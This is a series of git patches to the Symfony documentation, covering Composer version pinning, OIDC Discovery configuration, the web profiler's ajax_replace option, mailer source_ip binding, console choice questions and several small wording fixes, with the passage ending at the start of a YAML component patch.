From 7232f8cf3898a2144bfacb398a665d5596b77d9d Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 7 Sep 2024 17:23:00 +0200
Subject: [PATCH 6659/7107] =?UTF-8?q?[Setup]=20feat:=20add=20section=20abo?=
 =?UTF-8?q?ut=20`composer=20extra.symfony.require=20=E2=80=A6`?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/setup.rst b/setup.rst
index 1fc65f23856..fccb15b375d 100644
--- a/setup.rst
+++ b/setup.rst
@@ -281,6 +281,19 @@ create new projects. If you use Composer, you need to tell the exact version:
 
     $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
+With an already existing project, you can restrict Symfony packages to one
+specific version by :doc:`using Symfony Flex in your project </setup/flex>`
+and setting the ``extra.symfony.require`` config:
+
+.. code-block:: terminal
+
+    $ composer config extra.symfony.require "6.4.*"
+
+.. warning::
+
+    Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies,
+    see this `GitHub issue about dependabot`_.
+
 The Symfony Demo application
 ----------------------------
 
@@ -315,6 +328,8 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
+.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
+.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories

From 644ac22454d64fdfa430480ae946756848aaba01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2025 16:37:56 +0100
Subject: [PATCH 6660/7107] Move the new contents

---
 setup.rst               | 15 ---------------
 setup/upgrade_major.rst | 40 +++++++++++++++++++++++++++++++---------
 2 files changed, 31 insertions(+), 24 deletions(-)

diff --git a/setup.rst b/setup.rst
index fccb15b375d..1fc65f23856 100644
--- a/setup.rst
+++ b/setup.rst
@@ -281,19 +281,6 @@ create new projects. If you use Composer, you need to tell the exact version:
 
     $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
-With an already existing project, you can restrict Symfony packages to one
-specific version by :doc:`using Symfony Flex in your project </setup/flex>`
-and setting the ``extra.symfony.require`` config:
-
-.. code-block:: terminal
-
-    $ composer config extra.symfony.require "6.4.*"
-
-.. warning::
-
-    Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies,
-    see this `GitHub issue about dependabot`_.
-
 The Symfony Demo application
 ----------------------------
 
@@ -328,8 +315,6 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
-.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
-.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 8c172c49b29..ab05f2b202b 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -162,20 +162,40 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
       }
 
-At the bottom of your ``composer.json`` file, in the ``extra`` block you can
-find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
+A more efficient way to handle Symfony dependency updates is by setting the
+``extra.symfony.require`` configuration option in your ``composer.json`` file.
+In Symfony applications using :doc:`Symfony Flex </setup/flex>`, this setting
+restricts Symfony packages to a single specific version, improving both
+dependency management and Composer update performance:
 
 .. code-block:: diff
 
-      "extra": {
-          "symfony": {
-              "allow-contrib": false,
-    -         "require": "5.4.*"
-    +         "require": "6.0.*"
-          }
+      {
+          "...": "...",
+
+          "require": {
+    -         "symfony/cache": "6.0.*",
+    +         "symfony/cache": "*",
+    -         "symfony/config": "6.0.*",
+    +         "symfony/config": "*",
+    -         "symfony/console": "6.0.*",
+    +         "symfony/console": "*",
+              "...": "...",
+          },
+          "...": "...",
+
+    +     "extra": {
+    +         "symfony": {
+    +             "require": "6.0.*"
+    +         }
+    +     }
       }
 
+.. warning::
+
+    Tools like `dependabot`_ may ignore this setting and upgrade Symfony
+    dependencies. For more details, see this `GitHub issue about dependabot`_.
+
 .. tip::
 
     If a more recent minor version is available (e.g. ``6.4``) you can use that
@@ -338,3 +358,5 @@ Classes in the ``vendor/`` directory are always ignored.
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
 .. _`maintained Symfony versions`: https://symfony.com/releases
+.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
+.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631

From f9046f9abf1d47145d29d592f36fdad7f3db3a56 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <407859+vincentchalamon@users.noreply.github.com>
Date: Fri, 17 Jan 2025 10:30:22 +0100
Subject: [PATCH 6661/7107] docs: add OIDC Discovery documentation

---
 security/access_token.rst | 145 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 145 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index c0ff4692676..0370949e584 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -411,6 +411,72 @@ and retrieve the user info:
             ;
         };
 
+To enable the `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
+requires the ``symfony/cache`` package to store the OIDC configuration in
+cache. If you haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/cache
+
+Then, configure the ``base_uri`` and ``discovery`` keys:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                base_uri: https://www.example.com/realms/demo/
+                                discovery:
+                                    cache: cache.app
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info base-uri="https://www.example.com/realms/demo/">
+                                <discovery cache="cache.app"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->baseUri('https://www.example.com/realms/demo/')
+                            ->discovery()
+                                ->cache('cache.app')
+            ;
+        };
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
 identifier by default. To use another claim, specify it on the configuration:
 
@@ -625,6 +691,84 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
+To enable the `OpenID Connect Discovery`_, the ``OidcTokenHandler``
+requires the ``symfony/cache`` package to store the OIDC configuration in
+cache. If you haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/cache
+
+Then, you can remove the ``keyset`` configuration key (it will be imported from
+the OpenID Connect Discovery), and configure the ``discovery`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                claim: email
+                                algorithms: ['ES256', 'RS256']
+                                audience: 'api-example'
+                                issuers: ['https://oidc.example.com']
+                                discovery:
+                                    base_uri: https://www.example.com/realms/demo/
+                                    cache: cache.app
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc claim="email" audience="api-example">
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
+                                <issuer>https://oidc.example.com</issuer>
+                                <discovery base-uri="https://www.example.com/realms/demo/" cache="cache.app">
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->claim('email')
+                            ->algorithms(['ES256', 'RS256'])
+                            ->audience('api-example')
+                            ->issuers(['https://oidc.example.com'])
+                            ->discovery()
+                                ->baseUri('https://www.example.com/realms/demo/')
+                                ->cache('cache.app')
+            ;
+        };
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
 default as user identifier. To use another claim, specify it on the
 configuration:
@@ -925,5 +1069,6 @@ for :ref:`stateless firewalls <reference-security-stateless>`.
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)
 .. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`OpenID Connect Discovery`: https://openid.net/specs/openid-connect-discovery-1_0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 3dca32e1cf1838b812d61e04baeade9b2e5b1716 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 17 Jan 2025 10:45:36 +0100
Subject: [PATCH 6662/7107] [Mercure] Adding hint for multiple topics

Page: https://symfony.com/doc/6.4/mercure.html#subscribing

Closes https://github.com/symfony/symfony-docs/issues/20574
Closes https://github.com/symfony/mercure-bundle/issues/71
Closes https://github.com/symfony/mercure-bundle/issues/82

Info is taken from https://github.com/symfony/symfony-docs/issues/20574#issuecomment-2597102678
---
 mercure.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mercure.rst b/mercure.rst
index f37c40ddee7..698de373a17 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -309,6 +309,11 @@ as patterns:
     }
     </script>
 
+However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way
+to see which topic a certain message is coming from. So if this (or any other meta information)
+is important to you, you need to include it in the message's data (e.g. by adding a key to the
+JSON, or a `data-*` attribute to the HTML).
+
 .. tip::
 
     Test if a URI Template matches a URL using `the online debugger`_

From 3c1398a9248f3cf538c9ff40c603e8ebb3ba695a Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Fri, 17 Jan 2025 17:15:32 +0100
Subject: [PATCH 6663/7107] docs: web profiler ajax_replace

---
 profiler.rst                             | 61 +++++++++++++++++-------
 reference/configuration/web_profiler.rst | 13 +++++
 2 files changed, 58 insertions(+), 16 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 57d412472ba..7fc97c8ee33 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -217,9 +217,48 @@ user by dynamically rewriting the current page rather than loading entire new
 pages from a server.
 
 By default, the debug toolbar displays the information of the initial page load
-and doesn't refresh after each AJAX request. However, you can set the
-``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response to
-the AJAX request to force the refresh of the toolbar::
+and doesn't refresh after each AJAX request. However, you can configure the
+toolbar to be refreshed after each AJAX request by enabling ``ajax_replace`` in the
+``web_profiler`` configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/web_profiler.yaml
+        web_profiler:
+            toolbar:
+                ajax_replace: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/web_profiler.xml -->
+        <?xml version="1.0" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:web-profiler="http://symfony.com/schema/dic/webprofiler"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <web-profiler:config>
+                    <web-profiler:toolbar ajax-replace="true"/>
+                </web-profiler:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/web_profiler.php
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $profiler): void {
+            $profiler->toolbar()
+                ->ajaxReplace(true);
+        };
+
+If you need a more sophisticated solution, you can set the
+``Symfony-Debug-Toolbar-Replace`` header to a value of ``'1'`` in the response
+yourself::
 
     $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
 
@@ -228,31 +267,21 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
+    use Symfony\Component\DependencyInjection\Attribute\When;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
 
+    #[When(env: 'dev')]
     class MySubscriber implements EventSubscriberInterface
     {
-        public function __construct(
-            private KernelInterface $kernel,
-        ) {
-        }
-
         // ...
 
         public function onKernelResponse(ResponseEvent $event): void
         {
-            if (!$this->kernel->isDebug()) {
-                return;
-            }
-
-            $request = $event->getRequest();
-            if (!$request->isXmlHttpRequest()) {
-                return;
-            }
+            // Your custom logic here
 
             $response = $event->getResponse();
             $response->headers->set('Symfony-Debug-Toolbar-Replace', '1');
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 93c65621999..9eda76d5523 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -56,8 +56,21 @@ on the given link to perform the redirect.
 toolbar
 ~~~~~~~
 
+enabled
+.......
 **type**: ``boolean`` **default**: ``false``
 
 It enables and disables the toolbar entirely. Usually you set this to ``true``
 in the ``dev`` and ``test`` environments and to ``false`` in the ``prod``
 environment.
+
+ajax_replace
+............
+**type**: ``boolean`` **default**: ``false``
+
+If you set this option to ``true``, the toolbar is replaced on AJAX requests.
+This only works in combination with an enabled toolbar.
+
+.. versionadded:: 7.3
+
+    The ``ajax_replace`` configuration option was introduced in Symfony 7.3.

From 0c3c3127057533a0fdd130fb609206112c9bf098 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 18 Jan 2025 09:38:04 +0100
Subject: [PATCH 6664/7107] replace versionadded with deprecated directive

---
 service_container/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index aab6fa9529f..9e3e28a5343 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -52,7 +52,7 @@ its id:
 
     $ php bin/console debug:container App\Service\Mailer
 
-.. versionadded:: 7.3
+.. deprecated:: 7.3
 
     Starting in Symfony 7.3, this command displays the service arguments by default.
     In earlier Symfony versions, you needed to use the ``--show-arguments`` option,

From b9e2005cc3e1d1fde6d2f97382a6d37bac14bc8a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Jan 2025 13:19:11 +0100
Subject: [PATCH 6665/7107] [Console] Adding associative array

Page: https://symfony.com/doc/6.4/components/console/helpers/questionhelper.html#let-the-user-choose-from-a-list-of-answers
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2670ec3084a..e8c2d40a470 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit)::
         $question = new ChoiceQuestion(
             'Please select your favorite color (defaults to red)',
             // choices can also be PHP objects that implement __toString() method
-            ['red', 'blue', 'yellow'],
+            ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue']
             0
         );
         $question->setErrorMessage('Color %s is invalid.');

From 64bd096d735360895a1c0ea9dc97612e73d1e40e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Jan 2025 13:37:23 +0100
Subject: [PATCH 6666/7107] [Console]: Minor: Removing duplication

Page: https://symfony.com/doc/6.4/console/calling_commands.html
---
 console/calling_commands.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 349f1357682..dd1f0b12ff9 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -1,9 +1,9 @@
 How to Call Other Commands
 ==========================
 
-If a command depends on another one being run before it you can call in the
-console command itself. This is useful if a command depends on another command
-or if you want to create a "meta" command that runs a bunch of other commands
+If a command depends on another one being run before it you can call that in the
+console command itself. This can be useful
+if you want to create a "meta" command that runs a bunch of other commands
 (for instance, all commands that need to be run when the project's code has
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).

From 57888616b65a5d6a219a679a9190a65812266675 Mon Sep 17 00:00:00 2001
From: Wouter Ras <wouter@quilius.nl>
Date: Fri, 17 Jan 2025 15:05:41 +0100
Subject: [PATCH 6667/7107] [Mailer] [Smtp] Add source_ip option

---
 mailer.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e5d646d5aa2..e2204d00db0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -426,6 +426,27 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     This setting only works when the ``smtp://`` protocol is used.
 
+Binding to IPv4 or IPv6
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.3
+
+    The option to bind to IPv4 or IPv6 or a specific IP address was introduced in Symfony 7.3.
+
+By default, the underlying SocketStream will bind to IPv4 or IPv6 depending on the available
+interfaces. By specifying the ``source_ip`` option, binding to either IPv4 or IPv6 can be enforced,
+or even to a specific address. To bind to IPv4, use::
+
+    $dsn = 'smtp://smtp.example.com?source_ip=0.0.0.0';
+
+As per RFC2732, IPv6 addresses must be surrounded by square brackets. To bind to IPv6, use::
+
+    $dsn = 'smtp://smtp.example.com?source_ip=[::]';
+
+.. note::
+
+    This setting only works when the ``smtp://`` protocol is used.
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ba6944a1851e02385ab48ad778b32569e2a19f83 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jan 2025 10:33:49 +0100
Subject: [PATCH 6668/7107] Minor tweaks

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e2204d00db0..17828f18be2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -431,21 +431,21 @@ Binding to IPv4 or IPv6
 
 .. versionadded:: 7.3
 
-    The option to bind to IPv4 or IPv6 or a specific IP address was introduced in Symfony 7.3.
+    The option to bind to IPv4, or IPv6, or a specific IP address was introduced in Symfony 7.3.
 
-By default, the underlying SocketStream will bind to IPv4 or IPv6 depending on the available
-interfaces. By specifying the ``source_ip`` option, binding to either IPv4 or IPv6 can be enforced,
-or even to a specific address. To bind to IPv4, use::
+By default, the underlying ``SocketStream`` will bind to IPv4 or IPv6 based on the
+available interfaces. You can enforce binding to a specific protocol or IP address
+by using the ``source_ip`` option. To bind to IPv4, use::
 
     $dsn = 'smtp://smtp.example.com?source_ip=0.0.0.0';
 
-As per RFC2732, IPv6 addresses must be surrounded by square brackets. To bind to IPv6, use::
+As per RFC2732, IPv6 addresses must be enclosed in square brackets. To bind to IPv6, use::
 
     $dsn = 'smtp://smtp.example.com?source_ip=[::]';
 
 .. note::
 
-    This setting only works when the ``smtp://`` protocol is used.
+    This option only works when using the ``smtp://`` protocol.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6301562c49f02e2a15b253dd007aa55ad0c336cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Jan 2025 12:02:52 +0100
Subject: [PATCH 6669/7107] Remove some unnecessary blank lines in some lists

---
 contributing/code/core_team.rst | 17 +++--------------
 1 file changed, 3 insertions(+), 14 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 93ec6031259..5f41ec0b4cf 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -18,11 +18,9 @@ Role of a Core Team Member
 
 In addition to being a regular contributor, core team members are expected to:
 
- * Review, approve, and merge pull requests;
-
- * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
-
- * Participate in the Symfony Core Team discussions (on Slack and GitHub).
+* Review, approve, and merge pull requests;
+* Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
+* Participate in the Symfony Core Team discussions (on Slack and GitHub).
 
 Core Organization
 -----------------
@@ -46,9 +44,7 @@ In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.);
-
 * **Symfony UX Team**: manages the `UX repositories`_;
-
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -152,7 +148,6 @@ Pull Request Voting Policy
 
 * Core members can change their votes as many times as they desire
   during the course of a pull request discussion;
-
 * Core members are not allowed to vote on their own pull requests.
 
 Pull Request Merging Policy
@@ -161,13 +156,10 @@ Pull Request Merging Policy
 A pull request **can be merged** if:
 
 * It is a :ref:`minor change <core-team_minor-changes>`;
-
 * Enough time was given for peer reviews;
-
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core
   member voted ``-1`` (via GitHub reviews or as comments).
-
 * It is a new feature and at least two **Mergers Team** members voted
   ``+1`` (if the submitter is part of the Mergers team, two *other* members)
   and no Core member voted ``-1`` (via GitHub reviews or as comments).
@@ -187,15 +179,12 @@ following these rules:
 
 * **Feature**: For new features and deprecations; Pull requests must be merged
   in the development branch.
-
 * **Bug**: Only for bug fixes; We are very conservative when it comes to
   merging older, but still maintained, branches. Read the :doc:`maintenance`
   document for more information.
-
 * **Minor**: For everything that does not change the code or when they don't
   need to be listed in the CHANGELOG files: typos, Markdown files, test files,
   new or missing translations, etc.
-
 * **Security**: It's the category used for security fixes and should never be
   used except by the security team.
 

From e5e62c487425a84bafe41b424ddf51601bae9d21 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2025 09:12:14 +0100
Subject: [PATCH 6670/7107] Minor tweaks

---
 mercure.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 698de373a17..42ad9798d3c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -309,10 +309,11 @@ as patterns:
     }
     </script>
 
-However, on the client side (i.e. in JavaScript's ``EventSource``), there is no built-in way
-to see which topic a certain message is coming from. So if this (or any other meta information)
-is important to you, you need to include it in the message's data (e.g. by adding a key to the
-JSON, or a `data-*` attribute to the HTML).
+However, on the client side (i.e. in JavaScript's ``EventSource``), there is no
+built-in way to know which topic a certain message originates from. If this (or
+any other meta information) is important to you, you need to include it in the
+message's data (e.g. by adding a key to the JSON, or a ``data-*`` attribute to
+the HTML).
 
 .. tip::
 

From 53b7a44f7afabbe9b9502cb48ff1971d776689f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2025 09:52:45 +0100
Subject: [PATCH 6671/7107] Reword

---
 components/console/helpers/questionhelper.rst | 24 ++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e8c2d40a470..3dc97d5c0d3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -128,7 +128,7 @@ but ``red`` could be set instead (could be more explicit)::
         $question = new ChoiceQuestion(
             'Please select your favorite color (defaults to red)',
             // choices can also be PHP objects that implement __toString() method
-            ['red', 'blue', 'yellow'], // pass an associative array to display custom indices: [3 => 'red', 7 => 'blue']
+            ['red', 'blue', 'yellow'],
             0
         );
         $question->setErrorMessage('Color %s is invalid.');
@@ -145,6 +145,28 @@ The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.
 
+Choice questions display both the choice value and a numeric index, which starts
+from 0 by default. The user can type either the numeric index or the choice value
+to make a selection:
+
+.. code-block:: terminal
+
+    Please select your favorite color (defaults to red):
+      [0] red
+      [1] blue
+      [2] yellow
+    >
+
+.. tip::
+
+    To use custom indices, pass an array with custom numeric keys as the choice
+    values::
+
+        new ChoiceQuestion('Select a room:', [
+            102 => 'Room Foo',
+            213 => 'Room Bar',
+        ]);
+
 If the user enters an invalid string, an error message is shown and the user
 is asked to provide the answer another time, until they enter a valid string
 or reach the maximum number of attempts. The default value for the maximum number

From 0776cba27ef9aeed25406477e7c6a8c19425164d Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin.dequippe@tiime.fr>
Date: Mon, 28 Oct 2024 18:41:54 +0400
Subject: [PATCH 6672/7107] [Serializer] Documentation for xml empty attribute

---
 serializer/encoders.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index d5a98356156..2e5c0e6e66a 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -205,11 +205,16 @@ These are the options available on the :ref:`serializer context <serializer-cont
 ``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
     A regular expression pattern to determine if a value should be wrapped
     in a CDATA section.
+``ignore_empty_attributes`` (default: ``false``)
+    If set to true, ignores all attributes with empty values in the generated XML
 
 .. versionadded:: 7.1
 
     The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``ignore_empty_attributes`` option was introduced in Symfony 7.3.
 
 Example with a custom ``context``::
 

From 141c65cd756145c43542211e5963a01bb690396f Mon Sep 17 00:00:00 2001
From: alanzarli <azarli@smsbox.fr>
Date: Tue, 21 Jan 2025 10:57:32 +0100
Subject: [PATCH 6673/7107] [Notifier][Webhook]Add Smsbox Notifier doc

---
 notifier.rst | 2 +-
 webhook.rst  | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..30565f45b2c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -177,7 +177,7 @@ Service
                     **Webhook support**: No
 `Smsbox`_           **Install**: ``composer require symfony/smsbox-notifier`` \
                     **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \
-                    **Webhook support**: No
+                    **Webhook support**: Yes
 `SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
                     **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
                     **Webhook support**: No
diff --git a/webhook.rst b/webhook.rst
index 674c9f2c5c6..6c5d46a956a 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -171,6 +171,7 @@ Currently, the following third-party SMS transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Smsbox       ``notifier.webhook.request_parser.smsbox``
 Sweego       ``notifier.webhook.request_parser.sweego``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================

From 12bb604aac1f3a00871dc9d99042f7a6d3abea53 Mon Sep 17 00:00:00 2001
From: gr8b <grb8.github@gmail.com>
Date: Sat, 4 Jan 2025 17:49:29 +0200
Subject: [PATCH 6674/7107] [Yaml] feature #59315  Add compact nested mapping
 support to Dumper

---
 components/yaml.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..c373c98015d 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
